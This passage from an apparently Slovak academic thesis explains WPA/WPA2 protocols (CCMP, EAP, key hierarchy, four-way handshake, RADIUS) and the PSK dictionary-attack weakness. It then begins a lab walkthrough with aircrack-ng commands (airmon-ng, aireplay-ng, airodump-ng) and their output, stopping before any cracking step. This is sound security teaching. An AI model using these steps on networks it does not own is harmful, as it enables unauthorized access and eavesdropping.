v inverznom poradí. Hlavnou nevýhodou CBC módu je, ak sa behom prenosu kryptogramu Ci 
vyskytne chyba, dešifrovaná správa Mi je nepoužiteľná a je nutné proces opakovať. 
 Šifrovanie prenášanej správy M spolu s autentizačným kódom MIC sa prevádza v móde 
CTR (Counter mode), obdobný ako mód CBC [4]. Blokový šifrátor generuje heslovú potupnosť 
PS, ktorá je pomocou modulo 2 sčítaná s prenášanou správou M || MIC. Počiatočný stav šifrátoru 
a dešifrátoru je vopred nastavený rovnakým IV. Po zašifrovaní prvého bloku správy Mi je hodnota 
CTR inkrementovaná o jedna a následne zašifrovaný druhý blok správy. Proces sa opakuje až 
pokiaľ nie sú zašifrované všetky bloky správy. Princíp šifrovania v CTR móde je znázornený na 
obr. 4.2. 
Šifrátor 
(AES) Mi Ci 
Ci - 1 
K 
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Obr. 4.2: Režim prevozu šifrovania správy v CRT móde 
 
V tomto bode je prenášaná správa M a jej autentizačný kód MIC zašifrovaná  a  môže 
sa spolu s riadiacimi informáciami poslať bezdrôtovým médiom k príjemcovi. Riadiace 
informácie predstavujú záhlavie pôvodného paketu HRD a poradové číslo paketu PN. Na 
základe statických údajov v HDR paketu a PN sa odvodí počiatočný stav IVCBC šifrátoru pre 
výpočet autentizačného kódu MIC rámca v móde CBC. V tomto móde sa zašifrujú statické 
údaje v HRD, poradové číslo rámca PN a prenášaná správa M. MIC potom tvorí polovicu 
bitov posledného zašifrovaného bloku dĺžky 64 bitov. Prenášaná správa M spolu 
s vypočítaným MIC je zašifrovaná v móde CRT, kde jeho počiatočná hodnota IVCTR je 
odvodená zo statických údajov HRD a PN. Záhlavie HRD paketu a číslo PN je prenášané 
v otvorenej podobe. Za tieto dva bloky sa zaradí zašifrovaná správa CTR(M || MIC) a celý 
blok je pripravený na odoslanie bezdrôtovým médiom príjemcovi viz. obr. 4.3.  
 
 
 
Obr. 4.3: Princíp šifrovania správy protokolom CCMP 
  
HDR M 
HDR PN M MIC 
CBC 
MAC 
CTR 
HDR PN Kryptogram C 
Prenosové médium 
HDR M 
HDR M´ MIC´ 
CBC 
MAC 
CTR 
HDR PN Kryptogram C´ 
= ? 
Odosielateľ 
 
Príjemca 
 
Útočník 
 
CTR Šifrátor 
IVi IVi +1 
Mi 
Ci 
K 
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Príjemca z časti prijatého paketu (HDR a PN) odvodí počiatočný stav IVCTR. 
S nastaveným CTR dešifruje kryptogram C´, čím získa prenášanú správu M´ a jej 
autentizačný kód MIC’. Na základe údajov z HDR, PN a dešifrovanej správy M´ odvodí 
počiatočný stav IVCBC pre výpočet vlastného autentizačného kódu MIC. Ak vypočítaný MIC 
sa zhoduje s dešifrovaným MIC´, prijatá správa prešla podmienkou integrity a dešifrovaný 
paket je predaný vyššej vrstve na spracovanie. Ak dané MIC,MIC´ nesúhlasia, prenos správy 
sa musí opakovať. 
Jadrom 802.11i je protokol EAP, ktorého začiatky siahajú dlho pred vznik samotného 
802.11i. V sieťach WLAN so zabezpečením 802.11i existujú dva typy autentizácie. Prvý typ 
je vhodný pre malé domáce alebo menšie firemné siete označovaný ako PSK (Pre-Shared 
Key). Druhý typ využíva k autentizácii autentizačný server AS, zabezpečujúci akúkoľvek 
autentizáciu v sieti, bez ohľadu na druh fyzickej vrstvy označovanú ako 802.11x. 
 
4.2.1 EAP (Extensible Authentication Protocol) 
 
EAP je veľmi malý protokol, pracujúci na dátovej vrstve. K tomu, aby k danej 
autentizácií došlo, EAP využíva štyri kategórie správ definovaných v štandarde RFC3748 [6]: 
o Žiadosť (Request) – paket určený k žiadosti identifikácie žiadateľa o prístup do siete. 
Je zasielaný autentizátorom (strana poskytujúca pripojenie, napr. AP) k žiadateľovi 
o pripojenie. 
o  Odpoveď (Response) – paket využívaný ako odpoveď na výzvu. Je zasielaný 
žiadateľom k autentizátorovi (AP). 
o  Autentizácia úspešná (Success) – paket oznamujúci žiadateľovi, že bol úspešne 
autentizovaný. Zasielaný autorizátorom k žiadateľovi. 
o  Autentizácia neúspešná (Failure) – paket oznamujúci žiadateľovi, že autentizácia bola  
neúspešná a žiadateľ v tomto bode nemá povolený prístup k sieti.  
 
Štruktúra paketu EAP je znázornená na obr. 4.4 [6]. Pole kód (Code) obsahuje 
identifikátor určujúci či sa jedná o správu typu žiadosť, odpoveď, autentizácia úspešná alebo 
neúspešná. Pole identifikátor (Identifier) umožňuje jednoznačne identifikovať a spájať pakety 
typu výzva s paketmi, odpoveď na výzvu. Pole dĺžka (Length) určuje veľkosť paketu vrátane 
hlavičky. Pole typ (Type) obsahuje aká metóda autentizácie je použitá. Tvorcovia EAP 
nezodpovedajú za vytvorenie danej metódy autentizácie. Posledným poľom EAP je pole, 
určujúce špecifické informácie o danej autentizačnej metóde TD (Type-Data). 
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Obr. 4.4: Štruktúra paketu EAP 
 
Počas autentizácie sa môže medzi žiadateľom a autentizátorom vymeniť niekoľko 
žiadostí a odpovedí. Koncom každej autentizácie je paket typu autentizácia úspešná alebo 
neúspešná, v závislosti na prekazateľnosti oprávnenia žiadateľa o vstup do siete. Princíp 
jednotlivých druhov autentizácií je popísaný v neskorších podkapitolách. K uskutočneniu 
útoku na sieť 802.11 so zabezpečením WPA/WPA2 je nutné uviesť, akým spôsobom sa 
jednotlivé kľúče určené na autentizáciu a šifrovanie generujú. Princíp vytvárania jednotlivých 
kľúčov je popísaný v nasledujúcej kapitole.  
 
4.2.2 Hierarchia kľúčov 802.11 
 
V sieťach 802.11 je využívaná rada hierarchicky radených kľúčov zabezpečujúca 
bezpečný prenos správ. Každý kľúč má špecifickú vlastnosť, účel a dobu života, počas ktorej 
sa môže v plnej miere využívať. Obecne existujú dva typy hierarchie kľúčov v sieti 802.11. 
Prvým typom je hierarchia párových kľúčov (viz. ob. 4.5) založená na princípe 
generovania hlavného párového kľúča PMK (Pairwise Master Key), z ktorého sú ďalej 
generované kľúče potrebné k šifrovaniu a autentizácii: 
· KCK (Key Confirmation Key) – kľúč o dĺžke 128 bitov určený k zabezpečeniu 
integrity správ (MIC) počas štvorcestného a skupinového handshake-u. 
· PSK (Pre-Shared Key) – predzdieľaný kľúč využívaný na generovanie blokov kľúčov 
PTK. Spravidla PSK tvorí priamo PMK a je generovaný z heslovej frázy tvoriacej 8 až 
63 znakov čím sa vytvára zabezpečenie pre domáce alebo stredne malé firemné siete, 
ktoré nevlastnia AS. V prípade, že sieť obsahuje AS, PMK je odvodený z MK pri 
autentizácií 802.1x. 
· KEK (Key Encryption Key) – kľúč o dĺžke 128 bitov určený k zabezpečeniu prenosu 
počas štvorcestného a skupinového handshake-u. 
· TK (Temporary Key) – kľúč o dĺžke 128 bitov určený k šifrovaniu správ využívaný 
protokolmi TKIP a CCMP. 
· TMK (Temporary MIC Key) – jednoúčelový kľúč o dĺžke 2x64 bitov využívaný 
oboma komunikujúcimi stranami určený k vytváraniu integrity prenášaných správ 
(využívaný algoritmom MICHAEL spolu s TKIP). 
IDENTIFIER CODE LENGTH TYPE TYPE-DATA 
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Obr. 4.5: Hierarchia párov kľúčov v sieti 802.11 
 
Odvodený kľúč PMK nie je nikdy využívaný k šifrovaniu či zabezpečeniu integrity 
dát, ale slúži ku generovaniu dočasných šifrovacích kľúčov. Pre šifrovanie priameho prenosu 
sa využíva dočasných kľúčov PTK. Veľkosť PTK závisí na šifrovacom protokole (TKIP, 
CCMP atď.). 
Druhým typom je skupinová hierarchia kľúčov. Využíva sa pri skupinových 
prenosoch (multicast) a je založená na generovaní dočasného kľúča GTK (Group Transient 
Key). GTK je generovaný pomocou hašovacej funkcie PRF-256, ktorej vstupmi sú hlavný 
skupinový kľúč GMK (Group Master Key), heslo reprezentujúce GKE (Group Key 
Expansion), MAC adresu prístupového bodu a náhodné číslo RN_AP (Random Number).  
 
Obr. 4.6: Skupinová hierarchia kľúčov v sieti 802.11 
MAC_AP || RN_AP GMK 
(256 bitov) 
GKE 
GTK 
(256 bitov) – TKIP 
(128 bitov) – CCMP 
GEK 
(128b) 
GIK 
(128b) 
TKIP 
PRF-
256 
PRF-256 haš využívajúci HMAC-SHA1 
PSK 
PMK 
(256 bitov) 
PTK 
(512 bitov) – TKIP  
(384 bitov) – CCMP 
MK 
KCK 
(128b) 
KEK 
(128b) 
TEK (TK) 
(128b) 
TMK1 Tx 
(64b) 
TMK2 Rx 
(64b) 
TKIP 
PRF-512 haš využívajúci HMAC-SHA1 
alebo 
PRF-
512 
servisné 
údaje 
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Dĺžka kľúča GTK závisí na použitom šifrovacom protokole (TKIP, CCMP atď.) 
Následne je kľúč GTK rozdelený na dve časti: 
o  GEK (Group Encryption Key) – tvorí prvých 128 bitov kľúča GTK a je určený na 
šifrovanie dát pri šifrovacom protokole TKIP. Pri použití protokolu CCMP je GEK 
využitý pri autentizácii. 
o  GIK (Group Integrity Key) – tvorí zvyšnú časť (128 bitov) kľúča GTK a je určený 
k zabezpečeniu integrity prenášaných dát s využitím algoritmu MICHAEL. GIK je 
využívaný v protokole TKIP.  
 
Každý z uvedených kľúčov má svoje jednoznačné využitie. V nasledujúcej kapitole 
preto bude uvedené, ako sa využívajú kľúče potrebné k autentizácií užívateľa do siete 802.11. 
 
4.2.3 Autentizácia PSK 
 
Princíp je založený na znalosti tajnej frázy (hesla), na základe ktorého sa stanice 
autentizujú do siete [4]. Heslo sa zadáva do WS a AP manuálne. Heslo H musí obsahovať 8 až 
63 znakový reťazec ACSII alebo 64 hexadecimálnych číslic. Princíp výpočtu kľúčov pre 
šifrovanie a autentizáciu je znázornený na obr. 4.7 a nazývaný taktiež ako štvorcestný 
hadshake. Koncové zariadenie WS aj prístupový bod AP si vygenerujú hlavný primárny kľúč 
PMK (Primary Maser Key), ktorý slúži ako vstupný parameter pre generovanie bloku kľúčov 
PTK (Pairwise Transition Key). PMK sa vypočíta pomocou hašovacej funkcie PBKDF2, 
ktorej vstupmi sú heslo H, SSID WLAN a dĺžka SSID: 
 
PMK = PBKDF2(H, SSID, dĺžka SSID, 4096, 256)  
 
Hodnota 4096 určuje počet zhašovaní a hodnota 256 počet výstupných bitov. Po vypočítaní 
PMK sa vygeneruje blok kľúčov PTK. Jeho vstupom sú PMK, minimálna a maximálna 
hodnota fyzickej adresy MAC AP a WS, minimálna a maximálna hodnota náhodného čísla RN 
(Random Number) AP a WS:  
 
PTK = PRF-512{PMK, PKE, Min(MAC_AP, MAC_WS) || Max(MAC_AP, MAC_WS) ||  
Min(RN_AP, RN_WS) || Max(RN_AP, RN_WS)} 
 
(4.1) 
(4.2) 
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Jednotlivé kľúče z PTK sa potom využívajú pre šifrovanie a autentizáciu prenášaných 
správ pre obe komunikujúce strany (WS i AP).  
V prvok kroku autentizácie si obe komunikujúce strany (AP i WS) vygenerujú PMK. 
Následne po požiadavke o pripojenie WS do siete, AP zašle k WS správu M1 obsahujúcu 
náhodne vygenerované číslo RN_AP. AP zašle správu M1 bez akéhokoľvek šifrovania či 
ochrany proti odpočúvaniu. WS si vygeneruje vlastnú náhodnú správu RM_WS a po prijatí 
správy M1 si môže vypočítať blok kľúčov PTKWS. Z vygenerovaného čísla RN_WS si WS 
vypočíta autentizačný kód MICWS pomocou kľúča KCK a ten pripojí za koniec správy  
M2 = RM_WS || MICWS(RM_WS, KCK). Autentizačný kód je vypočítaný pomocou algoritmu 
MICHAEL. WS zašle správu M2 k AP a ten na základe prijatej správy si vygeneruje blok 
kľúčov PTKAP. Zo správy M2 si vypočíta vlastný MICAP(RM_WS, KCK)  
a porovná obe hodnoty autentizačných kódov. Ak sa zhodujú (MICWS = MICAP) AP si môže 
byť istý, že WS pozná PMK vlastní správne vygenerovaný blok kľúčov PTKWS. Tretia správa 
smeruje od AP k WS obsahujúca kľúč GTK zašifrovaný kľúčom KEK. Zo správy M3 sa 
vypočíta autentizačný kód MICAP a zaradí sa za koniec správy. Takto správa M3 =  E(GTK, 
KEK) || MICAP{E(GTK, KEK), KCK} sa odošle k WS. WS si z prijatej správy overí 
autentizačný kód a pokiaľ je správny, AP pozná PMK a má správne vygenerovaný blok 
kľúčov PTKWS. Posledná správa je zaslaná od WS k AP, kde WS dáva na vedomie, že celý 
proces autentizácie prebehol úspešne a že si nainštaluje všetky kľúče z bloku kľúčov PTKWS. 
AP po prijatí správy overí MIC a ak je správne nainštaluje si všetky kľúče z bloku kľúčov 
PTKAP.  
 
Obr. 4.7: Štvorcestný handshake v sieti 802.11 
 
NAS WS 
 bezdrôtové rozhranie 802.11 
 M1 = RN_AP 
Generovanie  
RN_AP a PMK 
Generovanie 
PTKWS a odvodenie GTK  M2 = RM_WS || MICWS(RM_WS, KCK) 
Generovanie 
RN_AP a PMK 
Generovanie  
PTKAP, overenie MICWS 
a odvodenie GTK 
M3 =  E(GTK, KEK) || MICAP{E(GTK, KEK), KCK} 
Overenie MICAP 
inštalácia  PTKWS a GTK M4 = ACK || MICWS(ACK) 
Overenie MICWS 
inštalácia  PTKAP a GTK šifrovaná komunikácia 
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V tomto bode obe strany získali, vypočítali a nainštalovali si kľúče potrebné pre 
šifrovanie správ v priamom (unicast) alebo skupinovom (multicast) prenose. Ďalšia 
komunikácia bude prebiehať po šifrovanom kanály. Druhý typ autentizácie je určený pre 
stredné a veľké firmy s veľkým počtom prístupových bodov a bezdrôtových staníc 
označovaný ako 802.1x.  
 
4.2.4 Autentizácia 802.1x 
 
Princíp autentizácie je založený na centrálnom autentizačnom servery AS využívajúci 
centralizovanú správu kľúčov [4]. WS sa musí v prípade žiadosti o pripojenie do WLAN 
autentizovať prostredníctvom prístupového bodu u AS. K autentizácií sa využíva technika 
protokolu EAP, ktorý podporuje rôzne metódy autentizácie.  
Jedna z možných autentizačných metód je autentizácia pomocou certifikátov alebo 
metóda PEAP (Protected EAP). Keďže metóda autentizácie pomocou certifikátov je pomerne 
drahá, v praxi sa najviac využíva metóda PEAP. Princíp metódy PEAP spočíva vo vytvorení 
šifrovacieho kanálu medzi WS a AS, kde AP plní úlohu šifrovaných správ. AS v tomto bode je 
nazývaný ako RADIUS (Remote Access Dial-In User Service) a tvorí centrálny bod, 
obsahujúci všetky údaje a procedúry potrebné k autentizácii užívateľa. Pôvodne RADIUS bol 
určený iba k úschove užívateľských prihlasovacích údajov (napr. meno a heslo) v spolupráci 
s autentizáciou CHAP/PAP protokolom PPP (Point-to-Point Protocol). Protokol PPP je 
určený k prenosu dát medzi dvojbodovým spojením WAN (Wide Area Network) sietí. 
Neskôr, ako bol vyvinutý protokol EAP, funkcia RADIUSu bola vylepšená a určená 
k autentizácií pomocou EAPu. Vo svojom pôvode, RADIUS je starší protokol určený 
k prenosu EAP autentizačných paketov z AP k AS s využitím UDP. Výraz RADIUS sa však 
priamo nespojuje s využívaním autentizácie pomocou EAP alebo 802.11x.  
Vo svojej terminológii RADIUS nazýva bod prezentácie PoP (Point of Presence) 
respektíve AP ako prístupový server NAS (Network Access Server), čo vo svojej podstate je 
v rozpore s funkciou daného bodu. Funkcia AP (PoP) pracuje v tomto prípade ako klient, nie 
ako server.  
Tak ako EAP aj RADIUS využíva k autentizácii štyri kategórie správ:  
· Prístup - žiadosť (Access - request) – paket je určený k žiadosti AS k autentizácie NAS 
(AP), reprezentujúceho užívateľa siete.  
· Prístup – výzva (Access - challenge) – odpoveď na predchádzajúci paket v smere AS 
k NAS. 
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· Prístup – povolenie (Access - accept) – paket indikujúci úspešnú autentizáciu NAS 
u AS, zasielaný v smere AS k NAS. 
· Prístup – zamietnutie (Access - reject) – paket indikujúci neúspešnú autentizáciu NAS 
u AS, zasielaný v smere AS k NAS. 
 
Vzhľadom k štruktúre a využitiu z uvedených autentizačných paketov, existuje určitý 
vzťah medzi paketmi EAP a RADIUS. V prípade, že v AS RADIUS je využívaný protokol 
EAP, pakety EAP žiadosť (request) sú zabalené a zasielané k AS v paketoch  
prístup – žiadosť (Access - request). Následne odpoveď (response) je zabalená do paketu 
prístup – výzva (Access - challenge) a zaslaná späť k NAS (viz. obr. 4.9). Obecne autentizácia 
802.11x pozostáva z troch fáz, pri ktorých si obe komunikujúce strany vyjednávajú 
bezpečnostnú politiku na, autentizujú sa a dovodia si kľúče potrebné k šifrovaniu prenášaných 
správ. Obr. 4.8 až 4.10 znázorňujú obecný postup autentizácie 802.11x s využitím 
autentizačného serveru RADIUS. 
Prvá fáza komunikácie prebieha medzi prístupovým bodom AP (NAS) a bezdrôtovou 
stanicou WS (viz. obr. 4.8) [9]. Komunikácia obsahuje vzájomnú dohodu oboch strán na 
bezpečnostnej politike, ktorá určuje akým spôsobom sa bude WS autentizovať a akým módom 
sa budú prenášané správy šifrovať. Informácie o bezpečnostnej politike AP sú prenášané buď 
v rámcoch Beacon alebo sú vyslané na vyžiadanie WS v rámcoch Probe Respond v správe IE 
(Information Element). Následne prebehne otvorená autentizácia (Open Authentication), ktorá 
je spravidla vždy úspešná. Po úspešnej otvorenej autentizácií WS zašle informácie o svojej 
bezpečnostnej politike v rámci Association Request v správe IE. AP porovná bezpečnostnú 
politiku WS a vyberie najvhodnejšiu z nich, ktorá sa bude v ďalšej komunikácií využívať. 
Výsledok zašle AP v rámci Association Response k WS. Pole IE obsahuje nasledujúce 
informácie [9]: 
· podporované autentizačné metódy – 802.11x alebo PSK 
· podporované zabezpečovacie protokoly pre priame prenosy (unicast) - CCMP, TKIP  
· podporované zabezpečovacie protokoly pre skupinové prenosy (multicast) - CCMP, 
TKIP 
· podpora pred-autentizácie (pre-authentication) umožňujúca WS sa pred-autentizovať 
v prípade prechodu do iného AP tej istej siete (handover) 
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Obr. 4.8: Fáza 1. – ustanovenie bezpečnostnej politiky 
 
 Druhou fázou je autentizácií 802.11x založená na  protokole EAP a na autentizačných 
metódach ustanovených v prvej fázy (viz. obr. 4.9) [9]. Autentizácia 802.11x je zahájená 
v čase, kedy AP  odpovie (Association Response) na dotaz WS (Association Request) a tým 
potvrdí preferovanú autentizačnú metódu WS. 
 
Obr. 4.9: Fáza 2. - autentizácia 802.11x 
 
NAS WS RADIUS 
EAP request 1 
EAP response 1 
Access-request {EAP request} 
Access-challenge {EAP response} 
EAP request 2 
EAP response 2 
 bezdrôtové rozhranie 802.11  rozhranie ethernet 802.3 
n - výmen autentizačných paketov 
EAP Success / Failure 
Access-accept / reject 
EAP Success / Failure 
odvodenie MK 
(Master Key) 
NAS WS 
 bezdrôtové rozhranie 802.11 
 Probe Response + IE 
 Probe Request 
 Otvorená autentizácia 802.11 
 Otvorená autentizácia 802.11 - úspešná 
 Association Request + IE 
 Association Respose - úspešná 
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V tomto bode prebieha komunikácia medzi WS a autentizačným serverom RADIUS, 
na základe ktorej sa generuje spoločný kľúč MK (Master Key). V procese generovania 
kľúčov môže dôjsť k výmene viacerých správ, ktorých záverom je indikácia, či autentizácia 
prebehla úspešne alebo nie (EAP Success/Failure). AS na záver zašle k AP potvrdzujúcu 
správu Access-accept obsahujúca kľúč MK. V opačnom prípade AS zašle správu Access-
reject, indikujúca zamietnutie prístupu WS do siete 802.11. 
 Tretia finálna fáza je založená na výmene a spôsobe distribúcie dočasných kľúčov (viz 
obr. 4.10 [9]). V autentizácií 802.11x každý kľúč je hierarchicky zaradený (viz. obr. 4.8) a má 
limitovanú životnosť. Po je vypršaní sa kľúč naďalej nepoužíva. Po úspešnej autentizácií sa 
vygenerujú dočasné kľúče, ktoré sú pravidelne obmieňané počas celej dĺžky komunikácie. 
Počas doby odvodzovania kľúčov nastávajú dva typy „podávaní rúk“ (handshake) [9]: 
o  štvorcestný handshake pre odvodenie páru dočasných kľúčov PTK (Pairwise 
Transient Key) a skupinových dočasných kľúčov GTK (Group Transiet Key) (viz. 
kap. 4.2.2) 
o  handshake pre obnovu skupinových kľúčov GTK 
 
Obr. 4.10: Fáza 3. - odvodenie a distribúcia kľúčov PTK a GTK 
  
 V tejto fázy obe komunikujúce strany vlastnia kľúče PTK a GTK potrebné k šifrovaniu 
prenášaných správ a ďalšia komunikácia nezahŕňa požiadavky autentizačného servera až do 
doby znovu vytvorenia spojenia.  
V nasledujúcej podkapitole budú znázornené slabiny návrhu protokolu WPA a WPA2, 
na základe ktorých je možné získať tajné heslo K. K útoku bude použitý program aircrack-ng.  
 
 
 
 
NAS WS RADIUS 
 bezdrôtové rozhranie 802.11  rozhranie ethernet 802.3 
 Prenos kľúča MK 
 Štvorcestný handshake 
(odvodenie a dristirbúcia PTK,GTK) 
 Handshake pre obnovu GTK 
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4.2.5 Slabiny protokolov WPA a WPA2 
 
Od doby, kedy boli zabezpečovacie protokoly WPA/WPA2 uvedené do širokého 
užívania, bolo odhalených niekoľko malých slabín, ktoré však netvorili sieť ľahkým terčom 
útočníkov. Avšak WPA/WPA2 v sebe skrýva slabinu, ktorá sa môže stať kritickou časťou 
celého zabezpečenia. Touto slabinou tvorí tajné heslo PSK, na ktorom je založená väčšina 
útokov. Tajné heslo vytvára v procese generovania hlavného hesla PMK jedinečnosť, pričom 
platí, že pri každej zmene hesla musí byť vygenerované vždy iné heslo PMK. Pri procese 
autentizácie (viz. kap. 4.2.3) je blok kľúčov PTK odvodený z kľúča PMK ktorým je kľúč PSK 
(PMK = PTK). Odvodenie kľúča PTK nastáva pri štvorcestnom handshake-u, kde údaje 
potrebné pre jeho výpočet sú prenášané v otvorenej podobe. Preto celý systém zabezpečenia 
závisí iba na hodnote PMK čo v podstate predstavuje tajnú frázu. Expert na bezdrôtovú 
bezpečnosť Robert Moskowitz [9] odhalil, že práve druhá správa M2 = RM_WS || 
MICWS(RM_WS, KCK) pri štvorcestnom hadshake-u sa môže stať hlavným predmetom 
slovníkového útok alebo útoku hrubou silou. Na základe tejto slabiny bol vyvinutý zdrojový 
kód, ktorý bol použitý a vylepšený Christopherom Devine v programe Aircrack umožňujúci 
slovníkový útok a útok hrubou silou [9]. 
K uskutočneniu útoku na protokol WPA/WPA2 je nutné, aby útočník odchytil 
komunikáciu, ktorá v zabezpečení tvorí najväčšiu slabinu. Tou komunikáciou je počiatočný 
štvorcestný handshake, pri ktorom útočník pasívne monitoruje bezdrôtové médiu alebo 
využije útoku deautentizácie na platného účastníka siete k urýchleniu celého procesu. K tomu, 
aby útočník bol schopný hádať hodnotu PSK je nutné, aby odchytil aspoň prvé dve správy 
štvorcestného handshaku. Z prvej správy útočník pozná náhodné číslo vygenerované 
prístupovým bodom RN_AP, druhej správy analogicky náhodné číslo vygenerované 
bezdrôtovou stanicou RN_WS. Podľa funkcie pre výpočet bloku kľúčov PTK útočník môže 
zahájiť proces slovníkového útoku alebo útoku hrubou silou (viz. kap. 4.2.3 vzťah 4.2). 
 Na základe vzťahu 4.1 je veľmi neefektívne využívať útok hrubou silou, keďže každé 
heslo PSK je počítané ako 4096 zhašovaní vstupných parametrov. Ak útočník hodnotu PSK 
odhadol správne, overí sa autentizačný kód MICWS druhej správy s odpovedajúcim kľúčom 
KCK. Ak vypočítaný MICUT útočníka sa zhoduje s MICWS druhej správy (MICUT = MICWS), 
hodnota PSK bola odhadnutá správne a útočník si môže odvodiť blok kľúčov PTK.  
Nasledujúce kroky budú popisovať praktický útok na sieť 802.11g so zabezpečením 
WPA/WPA2 pomocou programu aircrack-ng. 
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4.2.6 Útok na sieť WLAN so zabezpečením WPA/WPA2 pomocou aircrack-ng 
 
 Program Aircrack-ng (viz. kap. 3.3) využíva na prelomenie zabezpečenia siete 802.11 
slabinu, ktorá do istej miery sa stáva kritickým bodom zabezpečenia celej siete. 
V predchádzajúcich kapitolách preto bolo popísané, ako takýto útok môže vzniknúť, čoho 
využíva i program aircrack-ng. Cieľom útoku je získať tajný kľúč PSK, ktorého sila závisí 
v sieťach 802.11 bez autentizačného servera iba na tajnej frázy (hesle). Aircrack-ng podporuje 
útok iba na siete s autentizáciou PSK (viz. kap. 4.2.3), kde PSK tvorí základ generovania 
hierarchie kľúčov.  
 Prvý útok na sieť 802.11 so zabezpečením WEP pomocou aicrack-ng bol úspešný 
a ukázal, aké jednoduché je toto zabezpečenie prelomiť (rádovo v minútach). K tomu 
využíval štatistické metódy kryptoanalýzy, čím bol celý proces lámania hesla značne 
odľahčený. Na rozdiel od WEP, proces lámania zabezpečenia WPA/WPA2 nepodporuje 
štatistické metódy (nie je možné v reálnom čase uskutočniť) a celý proces teda závisí na 
slovníkovom útoku alebo útoku hrubou silou. Pre zvýšenie efektívnosti procesu nie je vhodné 
využívať útok hrubou silou, ktorý je obrovským konzumentov času a procesorového 
vyťaženia. Pre príklad odhadu heslovej postupnosti o dĺžke 8 znakov (minimálna dĺžka 
reťazca WPA/WPA2) obsahujúca alfanumerické znaky by trval pri priemernej rýchlosti 
testovania hesla 500-tisíc hesiel za sekundu približne 15 rokov. Pri zvýšení jedného znaku by 
sa tento čas odhadu heslovej postupnosti predĺžil na 871 rokov [10]. V tomto prípade je teda 
najvýhodnejšie zvoliť slovníkový útok, ktorý závisí na reťazcoch najčastejšie zadávaných 
hesiel. Existuje široká škála slovníkov pre rôzne útoky a preto je najdôležitejšie zvoliť ten 
najlepší. Obecne neplatia žiadne kritéria pre výber slovníku, avšak v našom prípade si 
môžeme byť istý, že heslo nikdy nebude kratšie ako 8 znakov a teda prípadné kratšie reťazce 
zo slovníka vylúčiť. Čas potrebný na rozlúštenie tajného hesla pomocou slovníkového útoku 
závisí na rozsiahlosti použitého slovníku. V prípade slovníkového útoku neexistuje rozdiel 
medzi použitým zabezpečením WPA či WPA2, pretože obe zabezpečenia vytvárajú proces 
štvorcestného handshake-u.  
 Pred samotným začiatkom útoku by som rád zvýraznil, že útok na cudzí prístupový 
bod bez vedomia majiteľa je nelegálny a môže sa tresne postihovať. Narušuje sa tým 
súkromie vlastníka. Preto nasledujúci text má len ukážkový charakter a je aplikovaný so 
zámerom zvýšenia efektívnosti zabezpečenia domácej siete. Konfigurácia siete 802.11g 
zostáva pôvodná ako je uvedené na obr. 3.3 s rozdielom zabezpečenia siete.  
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 V prvom kroku je nutné prestaviť zabezpečenie siete prístupového bodu na 
WPA/PSK, poprípade WPA2/PSK (viz. obr. 4.11). 
 
Obr. 4.11: Bezpečnostné nastavenie WPA/PSK prístupového bodu siete 802.11g 
 
 V tomto bode je sieť nakonfigurovaná a účastník WS_1 (viz. obr. 3.3) sa so svojim 
heslom môže prihlásiť do siete 802.11g.  
 Útočník v prvom kroku si nastaví svoju bezdrôtovú kartu do monitorovacieho módu 
(monitor mode) aby mohol odchytávať pakety zo zdieľaného bezdrôtového média: 
 
Systémová odozva: 
 
 
 V prípade, že nie je správne nainštalovaný ovládať pre bezdrôtovú kartu, je nutné 
proces inštalácie opakovať (viz. kap. 3.3.1). V opačnom prípade nemusí nasledujúci útok 
pracovať správne. Overenie, či ovládač bol nainštalovaný správne indikuje systémová odozva 
na príkaz: 
 
 
 
 
root@mio-laptop:/home/michal# iwconfig 
Interface Chipset  Driver 
wlan0  Broadcom b43 - [phy0] 
    (monitor mode enabled on mon0) 
root@mio-laptop:/home/michal# airmon-ng start wlan0 
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Systémová odozva: 
 
 
 Bezdrôtová karta je momentálne pripravená k odpočúvaniu bezdrôtového média 
a môže odhaliť prístupové body v dosahu útočníka: 
 
kde 
  -9 : test injekcie paketov a kvality spoja 
 -mon0 : výstupné rozhranie 
Systémová odozva: 
 
 
 Útočník odhalil sieť 802.11g na kanály 6 a pozná MAC AP. Spojenie s prístupovým 
bodom prebehlo bez strát (100%). K úspechu prevádzaného útoku je nevyhnutné, aby 
spojenie medzi útočníkom WS_2 a AP bolo takmer bezchybné (vysoká priechodnosť icmp 
paketov). Chybovosť spoja môže byť spôsobená veľkou alebo naopak príliš blízkou 
vzdialenosťou medzi WS_2 a AP. V tomto bode útočník pozná údaje potrebné k odpočúvaniu 
bezdrôtového média (BSSID a kanál) a môže začať s monitorovaním: 
 
kde 
  -c : [ 6 ] určuje kanál, na ktorom bude útočník odchytávať pakety 
 --bssid : [ 00:50:7F:DC:29:B0 ] MAC adresa AP 
 -w : [ PSK ] cieľový súbor, kam sa budú ukladať odchytené pakety  
 mon0 : výstupné rozhranie  
root@mio-laptop:/home/michal# airodump-ng -c 6 –-bssid 00:50:7F:DC:29:B0 –w PSK 
mon0 
15:12:48  Trying broadcast probe requests... 
15:12:48  Injection is working! 
15:12:49  Found 1 AP  
 
15:12:49  Trying directed probe requests... 
15:12:49  00:50:7F:DC:29:B0 - channel: 6 - 'Mio' 
15:12:54  Ping (min/avg/max): 1.518ms/151.434ms/192.150ms Power: -50.14 
15:12:54  30/30:  100% 
root@mio-laptop:/home/michal# aireplay-ng -9 mon0 
lo        no wireless extensions. 
eth0      no wireless extensions. 
!< output omitted > 
mon0      IEEE 802.11g  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=27 dBm    
          Retry min limit:7   RTS thr:off   Fragment thr=2346 B    
          Encryption key:off 
          Link Quality:0  Signal level:0  Noise level:0 
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0 
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0 
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Systémová odozva: 
 
 
Z výstupu systémovej odozvy útočník môže získať nasledujúce užitočné informácie,  
z ktorých niektoré využije v neskoršom útoku: 
· BSSID – MAC adresa prístupového bodu AP. 
· PWR – označuje hodnotu prijímaného signálu udávanej bezdrôtovou kartou. 
V prípade, že táto hodnota je rovná -1, ovládač bezdrôtovej karty nemusí podporovať 
udávanie hodnoty prijímaného signálu. 
· RXQ – udáva hodnotu kvality prijímaného signálu v percentách. Hodnota je meraná 
z úspešnosti prijatia dátových paketov a paketov managementu v intervale 10 sekúnd. 
· Beacon – udáva celkový počet prijatých Beacon rámcov. Prístupový bod spravidla 
rozosiela desať beacon rámcov za sekundu. 
· #Data – udáva celkový počet prijatých dátových a všesmerových paketov. 
· #/s – udáva počet prijatých dátových paketov za sekundu. Hodnota je meraná v 
intervale 10 sekúnd. 
· CH – číslo kanála získané z rámcov beacon. 
